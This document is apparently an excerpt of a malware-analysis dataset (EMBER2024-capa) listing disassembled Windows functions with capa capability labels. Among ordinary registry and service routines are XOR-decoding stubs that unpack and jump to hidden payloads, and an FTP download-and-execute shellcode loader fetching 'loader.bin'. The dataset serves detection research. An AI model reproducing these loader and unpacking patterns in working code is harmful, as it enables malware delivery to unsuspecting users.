joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1009fe0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x80c
mov eax, dword [0x100e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x100fd4c
cmp dword [0x100fd4c], ebx
je 0x100a0c6
mov edi, 0x401
mov ecx, dword [esi]
add esi, 4
mov edx, dword [esi]
add esi, 4
mov eax, dword [esi]
add esi, 4
cmp eax, ebx
je 0x100a038
push eax
push edx
push ecx
lea eax, [ebp - 0x808]
push edi
push eax
call fcn.01008f2a
add esp, 0x14
jmp 0x100a04a
push edx
push ecx
lea eax, [ebp - 0x808]
push edi
push eax
call fcn.01008f2a
add esp, 0x10
cmp eax, ebx
jl 0x100a0e9
lea eax, [ebp - 0x80c]
push eax
push 0x20008
push ebx
lea eax, [ebp - 0x808]
push eax
push 0x80000000
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100a0bb
push 0x50
lea eax, [ebp - 0x808]
push eax
push ebx
push dword [ebp - 0x80c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
cmp eax, 0x103
jne 0x100a0a9
push 0x1007d74
push dword [ebp - 0x80c]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
push dword [ebp - 0x80c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x80c], ebx
add esi, 0xc
cmp dword [esi], ebx
jne 0x100a010
push ebx
push ebx
push 0x1000
push 0x8000000
call dword [0x100fe20]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01001d10
leave
ret
mov eax, 0x80004005
jmp 0x100a0da
Function at 0x100a0f5
Capabilities:
Create service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x100e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
xor eax, eax
push 0x20c
mov word [ebp - 0x41c], ax
xor edi, edi
lea eax, [ebp - 0x41a]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x103
lea eax, [ebp - 0x41c]
push eax
push edi
mov dword [ebp - 0x420], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
jne 0x100a153
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100a2db
xor eax, eax
push 0x20
mov word [ebp - 0x216], ax
pop eax
push 0x2f
mov word [ebp - 0xc], ax
pop eax
push 0x56
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
push 0x107
lea eax, [ebp - 0x41c]
push eax
call fcn.01004473
cmp eax, edi
jl 0x100a2db
push esi
xor eax, eax
push 0x1fe
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
mov esi, 0x100
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x1b
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
test eax, eax
jne 0x100a1e1
push 9
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x1b
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
push 0xf003f
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, edi
je 0x100a2c8
push ebx
mov dword [ebp - 0x424], edi
cmp dword [ebp - 0x420], edi
je 0x100a213
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push dword [0x100fe00]
lea eax, [ebp - 0x41c]
push edi
push edi
push eax
push 1
push 3
push 0x20
push 0xf01ff
lea eax, [ebp - 0x20c]
push eax
push 0x1001ff8
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
cmp ebx, edi
jne 0x100a270
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x424], eax
cmp eax, 0x430
jne 0x100a2bc
mov eax, dword [ebp - 0x420]
inc dword [ebp - 0x420]
cmp eax, 0xe
jge 0x100a2bc
jmp 0x100a1fa
push edi
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x20
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
test eax, eax
jne 0x100a299
push 9
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x1b
push 0xffffffffffffffff
call sub.msi.dll_MsiDecomposeDescriptorW
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
push 1
push ebx
call dword [0x100fe18]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
jmp 0x100a2d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp - 0x424]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.01001d10
leave
ret
Function at 0x100b191
Capabilities:
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x100e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x20c]
mov esi, 0x104
push edi
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x218], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, esi
jle 0x100b205
push 0
push eax
lea ecx, [ebp - 0x218]
call fcn.01002465
test al, al
jne 0x100b205
lea ecx, [ebp - 0x218]
call fcn.01001de6
push 0xe
pop eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.01001d10
leave
ret
push ebx
push edi
push dword [ebp - 0x214]
push dword [ebp - 0x218]
call fcn.01008e44
test eax, eax
jge 0x100b22f
push 0xe
pop ebx
lea ecx, [ebp - 0x218]
call fcn.01001de6
mov eax, ebx
pop ebx
jmp 0x100b1f7
xor esi, esi
mov eax, edi
test edi, edi
je 0x100b257
movzx ecx, word [edi]
test cx, cx
je 0x100b253
push eax
call fcn.0100818d
pop ecx
movzx ecx, word [eax]
cmp cx, 0x5c
jne 0x100b23a
mov esi, eax
jmp 0x100b23a
test esi, esi
jne 0x100b25c
xor ebx, ebx
inc ebx
jmp 0x100b21f
mov ecx, dword [ebp - 0x218]
xor eax, eax
sub esi, edi
sar esi, 1
push eax
mov word [ecx + esi*2], ax
call dword [sym.imp.ole32.dll_CoInitialize]
mov ebx, eax
test ebx, ebx
jne 0x100b21f
push 8
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x21c], eax
mov edi, 0xffff
mov esi, 0x80070000
test eax, eax
je 0x100b2a7
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x100b2b7
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x100b2b5
and eax, edi
or eax, esi
mov ebx, eax
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
jne 0x100b2d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x100b2d3
and eax, edi
or eax, esi
mov ebx, eax
test ebx, ebx
jne 0x100b303
push dword [ebp - 0x220]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x100b2ff
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x100b301
and eax, edi
or eax, esi
jmp 0x100b301
call eax
mov ebx, eax
cmp dword [ebp - 0x21c], 0
je 0x100b318
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x100b21f
Function at 0x100b375
Capabilities:
Print debug messages
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x86c
mov eax, dword [0x100e00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
cmp dword [0x100fe08], 0xffffffff
mov ebx, eax
jne 0x100b458
lea eax, [ebp - 0x868]
push eax
mov dword [0x100fe08], edi
mov dword [ebp - 0x86c], edi
mov dword [ebp - 0x868], 0x20019
call fcn.01004283
pop ecx
lea eax, [ebp - 0x86c]
push eax
push dword [ebp - 0x868]
push edi
push 0x100b520
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100b458
lea eax, [ebp - 0x858]
mov dword [ebp - 0x864], eax
lea eax, [ebp - 0x868]
push eax
lea eax, [ebp - 0x858]
push eax
push edi
push edi
push 0x100b510
push dword [ebp - 0x86c]
mov dword [ebp - 0x860], 0x28
mov dword [ebp - 0x868], 0x50
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x100b441
mov eax, dword [ebp - 0x864]
mov eax, dword [eax]
and eax, 3
mov dword [0x100fe08], eax
push dword [ebp - 0x86c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x864]
call fcn.01008e1e
test dword [0x100fe08], 3
je 0x100b4ca
xor eax, eax
push 0x800
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x808]
cmp dword [ebp + 0xc], edi
je 0x100b4a6
push dword [ebp + 0xc]
push 0x100b4ec
push 0x401
push eax
call fcn.01008f2a
add esp, 0x14
jmp 0x100b4b9
push 0x100b4e0
push 0x401
push eax
call fcn.01008f2a
add esp, 0x10
cmp eax, edi
jl 0x100b4ca
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01001d10
leave
ret
Function at 0x100ba87
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
push 0xf003f
push esi
push esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x100bbd0
push 0xf01ff
push 0x1001ff8
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x100bb9c
push edi
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2c]
push eax
push 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x100bb39
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov ebx, 0x3e8
push ebx
mov dword [ebp - 0x28], 4
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
jmp 0x100bb1c
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0xc]
cmp eax, 5
jge 0x100bb29
cmp dword [ebp - 0x28], 3
jne 0x100bb29
push ebx
call esi
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 8]
call edi
test eax, eax
jne 0x100bb08
cmp dword [ebp - 0x28], 1
pop ebx
je 0x100bb79
mov dword [ebp - 4], 0x80004005
jmp 0x100bb90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
sub eax, 0x41c
je 0x100bb6d
sub eax, 8
je 0x100bb68
dec eax
dec eax
je 0x100bb68
sub eax, 0xf
je 0x100bb68
push dword [ebp - 4]
push 0x100bc40
call fcn.0100b375
pop ecx
pop ecx
jmp 0x100bb74
mov dword [ebp - 4], esi
jmp 0x100bb79
mov dword [ebp - 4], 0x652
cmp dword [ebp - 4], esi
jne 0x100bb90
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DeleteService]
cmp eax, 1
je 0x100bb90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
jmp 0x100bbc5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
sub eax, 0x424
je 0x100bbc2
sub eax, 0xc
je 0x100bbc2
push dword [ebp - 4]
push 0x100bc18
call fcn.0100b375
pop ecx
pop ecx
jmp 0x100bbc5
mov dword [ebp - 4], esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x100bbe6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x100bbec
mov dword [ebp - 4], eax
call fcn.0100b375
pop ecx
pop ecx
mov eax, dword [ebp - 4]
pop esi
leave
ret
Function at 0x100bc73
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc08
mov eax, dword [0x100e00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
lea ecx, [ebp - 0xc00]
push ecx
push 0x2001f
xor esi, esi
push esi
push ebx
push eax
mov dword [ebp - 0xc08], eax
call fcn.01002171
add esp, 0x14
cmp eax, esi
je 0x100bcbe
cmp eax, 2
sete al
jmp 0x100bdc8
push edi
lea ecx, [ebp - 0xbfc]
call fcn.01008d52
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x100bce9
push dword [ebp - 0xbfc]
push dword [ebp - 0xc00]
call fcn.0100bc73
pop ecx
pop ecx
test al, al
je 0x100bd28
mov eax, dword [ebp - 0xbf8]
push esi
push esi
push esi
push esi
mov dword [ebp - 0xc04], eax
lea eax, [ebp - 0xc04]
push eax
push dword [ebp - 0xbfc]
push esi
push dword [ebp - 0xc00]
call edi
cmp eax, esi
je 0x100bcd2
push dword [ebp - 0xc00]
cmp eax, 0x103
je 0x100bd30
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x100bd91
push dword [ebp - 0xc00]
jmp 0x100bd20
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push dword [ebp - 0xc08]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, eax
cmp edi, esi
je 0x100bdad
xor eax, eax
push 0x800
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push esi
push eax
call sub.msvcrt.dll_memset
push ebx
push 0x100bdd8
lea eax, [ebp - 0x808]
push 0x401
push eax
call fcn.01008f2a
add esp, 0x1c
test eax, eax
jl 0x100bd91
lea eax, [ebp - 0x808]
push edi
push eax
call fcn.0100b375
pop ecx
pop ecx
cmp dword [ebp - 0xbf8], 0x1f4
jle 0x100bda9
push dword [ebp - 0xbfc]
call fcn.0100884e
pop ecx
xor al, al
jmp 0x100bdc7
cmp dword [ebp - 0xbf8], 0x1f4
jle 0x100bdc5
push dword [ebp - 0xbfc]
call fcn.0100884e
pop ecx
mov al, 1
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.01001d10
leave
ret
Function at 0x2e001137
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x2e001146
pop dword [ebp - 0x40]
mov eax, 0xc3295cc
add eax, 0x21cd7b7a
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x50280856
sub dword [ebp - 0x50], 0x1d5c30b
mov dword [ebp - 0x4c], 0x93d35704
sub dword [ebp - 0x4c], 0x61a00abf
mov dword [ebp - 0x48], 0xa58e4aaa
add dword [ebp - 0x48], 0xa6bdf984
mov dword [ebp - 0x44], 0xb07e4c17
sub dword [ebp - 0x44], 0xb07e4c17
lea eax, [ebp - 0x50]
push eax
mov eax, 0x81deeee1
sub eax, 0x53dbce19
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x60572d95
sub dword [ebp - 0x50], 0xebe4c43f
mov dword [ebp - 0x4c], 0xec32f56b
sub dword [ebp - 0x4c], 0xaac693f6
mov dword [ebp - 0x48], 0xf3574f84
sub dword [ebp - 0x48], 0x8fe7e318
mov dword [ebp - 0x44], 0xcc7898a9
sub dword [ebp - 0x44], 0xcc7898a9
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x4550f
push 0
call eax
mov ecx, 0x595b
mov edx, eax
mov ebx, 0xbc339070
sub ebx, 0x8e2e2270
add ebx, dword [ebp - 0x40]
mov edi, 0xfa54380a
sub edi, 0x810138ac
xor dword [ebp - 0x3c], edx
mov esi, dword [ebx]
xor dword [ebp - 0x20], ecx
xor esi, edi
mov dword [edx], esi
xor dword [ebp - 0x2c], ecx
add edx, 4
add ebx, 4
loop 0x2e00125d
add eax, 0x6562f070
add eax, 0x9a9e67cf
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2e000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x2e013ece
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x10
mov eax, 0x2e03021f
call fcn.2e00153c
mov edi, ecx
mov dword [ebp - 0x18], edi
xor ebx, ebx
mov dword [edi + 0x14], 0xf
mov dword [edi + 0x10], ebx
mov byte [edi], bl
mov dword [ebp - 4], ebx
call fcn.2e014c10
test ax, ax
je 0x2e013f76
lea eax, [ebp - 0x10]
push eax
push str.softwaremicrosoftwindows_shell_associationsurlassociationshttpuserchoice
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x2e013f76
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f6d
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.2e001137
mov esi, eax
pop ecx
mov dword [ebp - 0x1c], esi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
push esi
push ebx
push ebx
push str.progid
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x2e013f60
push esi
mov ecx, edi
call fcn.2e010c49
push 1
push esi
mov byte [ebp - 4], bl
call fcn.2e001137
pop ecx
pop ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
call fcn.2e001586
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10009830
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10009830
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10009830
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10009830
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10009830
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10009830
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10009830
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10009830
push 0xd008
push edi
call fcn.10009830
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10009830
int3

Function at 0x10009830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000983f
pop dword [ebp - 0x18]
mov eax, 0x1000983f
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x39727
push 0
mov eax, 0x17ec04bc
sub eax, 0x7eac458
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x2e8e0ff8
sub ecx, 0x2e8dc630
xor ebx, ebx
add ebx, eax
mov esi, 0x313f2c75
add esi, 0xdec2598b
add esi, dword [ebp - 0x18]
mov edx, 0x6a930137
xor dword [ebp - 0x10], ecx
mov edi, dword [esi]
xor dword [ebp - 0x10], 0xcec512b9
sub edi, edx
add dword [ebp - 4], 0x2ada5cc1
mov dword [ebx], edi
add ebx, 4
add esi, 0xd3246890
sub esi, 0xd324688c
loop 0x10009895
add eax, 0x119f3
xor ebx, ebx
add ebx, eax
add eax, 0xab1e7d98
sub eax, 0xab1e7d93
mov ecx, 0x8ce1a08d
add ecx, 0x831e5f73
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x63241800
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
test byte [0x63243018], 8
jne 0x63241938
mov dword [esp + 8], 8
mov dword [esp + 4], 0
mov ebx, dword fs:[0x18]
mov eax, dword [ebx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
sub esp, 0xc
mov esi, eax
test eax, eax
je 0x63241929
lea edi, [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], edi
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.winspool.drv_EnumMonitorsW
sub esp, 0x18
test eax, eax
jne 0x63241920
cmp dword [ebx + 0x34], 0x7a
je 0x632418c0
mov dword [esp + 8], esi
xor esi, esi
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapFree
mov eax, esi
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 8
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, dword [ebx + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapAlloc
lea edx, [ebp - 0x1c]
sub esp, 0xc
mov dword [esi], eax
mov ecx, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.winspool.drv_EnumMonitorsW
sub esp, 0x18
test eax, eax
je 0x6324188a
lea esi, [esi]
lea esi, [esi]
test byte [0x63243018], 8
jne 0x63241978
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
call fcn.63241550
mov dword [esp + 0xc], str.__d___s__n
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], 0x632450b8
mov dword [esp + 0x10], eax
mov dword [esp + 4], 0x63243018
mov dword [esp], 3
call fcn.63241460
jmp 0x63241816
mov eax, dword [esi + 4]
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], str.___p___u_monitors_installed__n
mov dword [esp + 0x14], eax
mov dword [esp + 8], 0x632450b8
mov dword [esp + 4], 0x63243018
mov dword [esp], 3
call fcn.63241460
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x632419c0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
test byte [0x63243018], 8
jne 0x63241a40
test ebx, ebx
je 0x63241a01
mov eax, dword [ebx + 4]
test eax, eax
jne 0x63241a10
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapFree
sub esp, 0xc
mov ebx, dword [ebp - 4]
leave
ret 4
mov edx, dword [ebx]
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call sub.kernel32.dll_HeapFree
sub esp, 0xc
jmp 0x632419de
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.__p__n
mov dword [esp + 8], str.PSetupDestroyMonitorInfo
mov dword [esp + 4], 0x63243018
mov dword [esp], 3
call fcn.63241460
jmp 0x632419d3

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Connect to http server
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
push edi
push str.WinInet_Ftp
mov dword [ebp - 4], edi
call dword [sym.imp.WININET.dll_InternetOpenA]
push edi
push 0x8000000
push 1
push str.A123
push 0x402164
push edi
push 0x402168
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push edi
push 0x80000002
push 0x80000000
push str.loader.bin
push eax
call dword [sym.imp.WININET.dll_FtpOpenFileA]
push edi
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.WININET.dll_FtpGetFileSize]
mov esi, eax
push esi
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
push esi
push edi
push eax
mov dword [ebp - 8], eax
call sub.MSVCR90.dll_memset
push 0x1000
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
push 0x1000
mov ebx, eax
push edi
push ebx
call sub.MSVCR90.dll_memset
add esp, 0x20
lea esp, [esp]
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push 0x1000
push ebx
push ecx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4010c3
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
push edx
lea ecx, [edi + eax]
push ebx
push ecx
call sub.MSVCR90.dll_memcpy
add edi, dword [ebp - 4]
add esp, 0xc
cmp esi, edi
ja 0x401090
push 0x40
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 8]
push esi
push edx
push eax
mov dword [ebp - 0xc], eax
call sub.MSVCR90.dll_memcpy
add esp, 0xc
pushal
mov eax, dword [ebp - 0xc]
call eax
popal
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401227
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401231
repz ret
jmp fcn.004014e8